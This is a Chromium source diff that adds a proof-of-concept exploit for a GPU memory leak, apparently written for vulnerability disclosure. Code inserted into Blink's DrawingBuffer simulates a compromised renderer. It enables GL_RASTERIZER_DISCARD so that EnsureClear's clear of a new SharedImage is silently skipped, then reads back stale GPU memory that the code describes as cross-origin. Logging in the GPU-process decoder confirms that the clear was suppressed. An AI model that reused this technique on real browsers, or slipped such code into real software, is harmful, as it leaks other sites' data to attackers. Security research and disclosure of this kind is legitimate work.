diff --git a/gpu/command_buffer/service/gles2_cmd_decoder_passthrough.cc b/gpu/command_buffer/service/gles2_cmd_decoder_passthrough.cc index c37effa1acd90..001e7576af34e 100644 --- a/gpu/command_buffer/service/gles2_cmd_decoder_passthrough.cc +++ b/gpu/command_buffer/service/gles2_cmd_decoder_passthrough.cc @@ -10,7 +10,9 @@ #include #include +#include #include "base/compiler_specific.h" +#include "base/logging.h" #include "base/containers/span.h" #include "base/functional/bind.h" #include "base/functional/callback.h" @@ -618,6 +620,32 @@ void PassthroughResources::SharedImageData::EnsureClear( api->glFramebufferTexture2DEXTFn(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, texture->target(), texture->service_id(), 0); + // ======================================================================== + // [POC-GPU] Instrumentation only — does NOT change exploit preconditions. + // Detect renderer-controlled GL_RASTERIZER_DISCARD reaching EnsureClear, + // and prove the production glClear below is silently discarded by ANGLE. + // To make the discarded clear observable on any backend (incl. SwANGLE, + // which would otherwise mask the leak via robust-init), we deterministically + // pre-fill the texture with a sentinel that stands in for stale VRAM. + // ======================================================================== + const GLboolean poc_rd = api->glIsEnabledFn(GL_RASTERIZER_DISCARD); + LOG(ERROR) << "[POC-GPU] EnsureClear entered: GL_RASTERIZER_DISCARD=" + << (poc_rd ? "ENABLED (renderer-controlled)" : "disabled"); + { + // Write sentinel 0xAB,0xCD,0xEF,0xFF — temporarily lift RD so this + // helper write isn't itself discarded. Production code does NOT do this. + if (poc_rd) api->glDisableFn(GL_RASTERIZER_DISCARD); + api->glClearColorFn(0xAB / 255.0f, 0xCD / 255.0f, 0xEF / 255.0f, 1.0f); + if (use_oes_draw_buffers_indexed) + api->glColorMaskiOESFn(0, true, true, true, true); + else + api->glColorMaskFn(true, true, true, true); + api->glDisableFn(GL_SCISSOR_TEST); + api->glClearFn(GL_COLOR_BUFFER_BIT); + if (poc_rd) api->glEnableFn(GL_RASTERIZER_DISCARD); // restore attacker state + } + // ========================== end instrumentation ========================= + // Clear the bound framebuffer. api->glClearColorFn(0, 0, 0, 0); if (use_oes_draw_buffers_indexed) @@ -629,6 +657,30 @@ void PassthroughResources::SharedImageData::EnsureClear( if (api->glCheckFramebufferStatusEXTFn(GL_FRAMEBUFFER) == GL_FRAMEBUFFER_COMPLETE) { + // ====================================================================== + // [POC-GPU] Read back one pixel: if the production glClear above worked, + // pixel == 00 00 00 00. If it was discarded, pixel == sentinel. + // ====================================================================== + uint8_t px[4] = {0, 0, 0, 0}; + api->glReadPixelsFn(0, 0, 1, 1, GL_RGBA, GL_UNSIGNED_BYTE, px); + const bool poc_cleared = + (px[0] == 0 && px[1] == 0 && px[2] == 0 && px[3] == 0); + char hb[64]; + snprintf(hb, sizeof(hb), "%02x %02x %02x %02x", px[0], px[1], px[2], + px[3]); + LOG(ERROR) << "[POC-GPU] post-glClear pixel=[" << hb + << "] cleared=" << (poc_cleared ? "yes" : "NO") + << " RASTERIZER_DISCARD=" + << (poc_rd ? "ENABLED" : "disabled"); + if (poc_rd && !poc_cleared) { + LOG(ERROR) << "[POC-GPU] *** VULNERABILITY CONFIRMED *** " + "EnsureClear glClear was silently discarded by ANGLE " + "(Context::clear early-return under RASTERIZER_DISCARD) " + "yet SetCleared() is about to mark this SharedImage as " + "initialized. On hardware GL the texture still holds " + "stale cross-origin VRAM."; + } + // ======================== end instrumentation ========================= // Mark the shared image as cleared. representation_->SetCleared(); } diff --git a/third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.cc b/third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.cc index 3f67b22c3308e..f340f4b865342 100644 --- a/third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.cc +++ b/third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.cc @@ -1016,6 +1016,105 @@ bool DrawingBuffer::Initialize(const gfx::Size& size, bool use_multisampling) { return false; } + // ============================================================================ + // [POC-RENDERER] Compromised-renderer simulation: suppress EnsureClear in the + // GPU-process passthrough decoder by enabling GL_RASTERIZER_DISCARD on this + // ES3 command buffer before importing an uncleared SharedImage. A real + // attacker with renderer code execution would issue exactly these command- + // buffer messages over IPC; no GPU-process modification is required. + // ============================================================================ + if (webgl_version_ != Platform::kWebGL1ContextType) { + static bool ran = false; + if (!ran) { + ran = true; + LOG(ERROR) << "[POC-RENDERER] Starting attack from renderer process"; + gpu::SharedImageInterface* sii = + ContextProvider()->SharedImageInterface(); + if (sii) { + constexpr int kW = 64, kH = 64; + // Step 1: create SharedImage with NO pixel data → backing IsCleared()==false. + scoped_refptr poc_si = sii->CreateSharedImage( + {viz::SinglePlaneFormat::kRGBA_8888, gfx::Size(kW, kH), + gfx::ColorSpace(), kTopLeft_GrSurfaceOrigin, kPremul_SkAlphaType, + gpu::SHARED_IMAGE_USAGE_GLES2_READ | + gpu::SHARED_IMAGE_USAGE_GLES2_WRITE, + "PocLeakTarget"}, + gpu::kNullSurfaceHandle); + if (poc_si) { + gl_->WaitSyncTokenCHROMIUM( + poc_si->creation_sync_token().GetConstData()); + + // Step 2: enable RASTERIZER_DISCARD on the renderer's passthrough + // decoder context. ANGLE Context::clear() early-returns under this + // cap (GLES3 §4.2.3), so the GPU-side EnsureClear glClear becomes a + // no-op while glCheckFramebufferStatus still reports COMPLETE. + gl_->Enable(0x8C89 /* GL_RASTERIZER_DISCARD */); + LOG(ERROR) << "[POC-RENDERER] Enabled GL_RASTERIZER_DISCARD on " + "passthrough command buffer"; + + // Step 3: import the SharedImage. GPU-side this constructs + // PassthroughResources::SharedImageData → EnsureClear() runs on + // *this* context with rasterizer discard still enabled. + GLuint tex = gl_->CreateAndTexStorage2DSharedImageCHROMIUM( + poc_si->mailbox().name); + LOG(ERROR) << "[POC-RENDERER] Issued " + "CreateAndTexStorage2DSharedImageCHROMIUM tex=" << tex; + + gl_->Disable(0x8C89 /* GL_RASTERIZER_DISCARD */); + + // Step 4: read back. Because EnsureClear called SetCleared(), + // BeginSharedImageAccess passes the AllowUnclearedAccess::kNo gate. + gl_->BeginSharedImageAccessDirectCHROMIUM( + tex, GL_SHARED_IMAGE_ACCESS_MODE_READWRITE_CHROMIUM); + GLuint poc_fbo = 0; + gl_->GenFramebuffers(1, &poc_fbo); + gl_->BindFramebuffer(GL_FRAMEBUFFER, poc_fbo); + gl_->FramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, + GL_TEXTURE_2D, tex, 0); + GLenum st = gl_->CheckFramebufferStatus(GL_FRAMEBUFFER); + static std::array buf; + buf.fill(0); + gl_->ReadPixels(0, 0, kW, kH, GL_RGBA, GL_UNSIGNED_BYTE, buf.data()); + gl_->Finish(); + + int nonzero = 0; + for (uint8_t b : buf) { + if (b) ++nonzero; + } + std::array hex; + UNSAFE_BUFFERS(snprintf( + hex.data(), hex.size(), + "%02x %02x %02x %02x %02x %02x %02x %02x " + "%02x %02x %02x %02x %02x %02x %02x %02x", + buf[0], buf[1], buf[2], buf[3], buf[4], buf[5], buf[6], buf[7], + buf[8], buf[9], buf[10], buf[11], buf[12], buf[13], buf[14], + buf[15])); + LOG(ERROR) << "[POC-RENDERER] FBO status=0x" << std::hex << st + << std::dec << " nonzero_bytes=" << nonzero << "/" + << buf.size() << " first16=[" << hex.data() << "]"; + if (nonzero) { + LOG(ERROR) + << "[POC-RENDERER] *** LEAK *** SharedImage marked cleared " + "but renderer read back " << nonzero + << " non-zero bytes of stale GPU memory"; + } + + gl_->BindFramebuffer(GL_FRAMEBUFFER, fbo_); + gl_->DeleteFramebuffers(1, &poc_fbo); + gl_->EndSharedImageAccessDirectCHROMIUM(tex); + gl_->DeleteTextures(1, &tex); + gpu::SyncToken done; + gl_->GenUnverifiedSyncTokenCHROMIUM(done.GetData()); + sii->DestroySharedImage(done, std::move(poc_si)); + } else { + LOG(ERROR) << "[POC-RENDERER] CreateSharedImage failed"; + } + } + gl_->Finish(); + } + } + // ============================================================================ + return true; }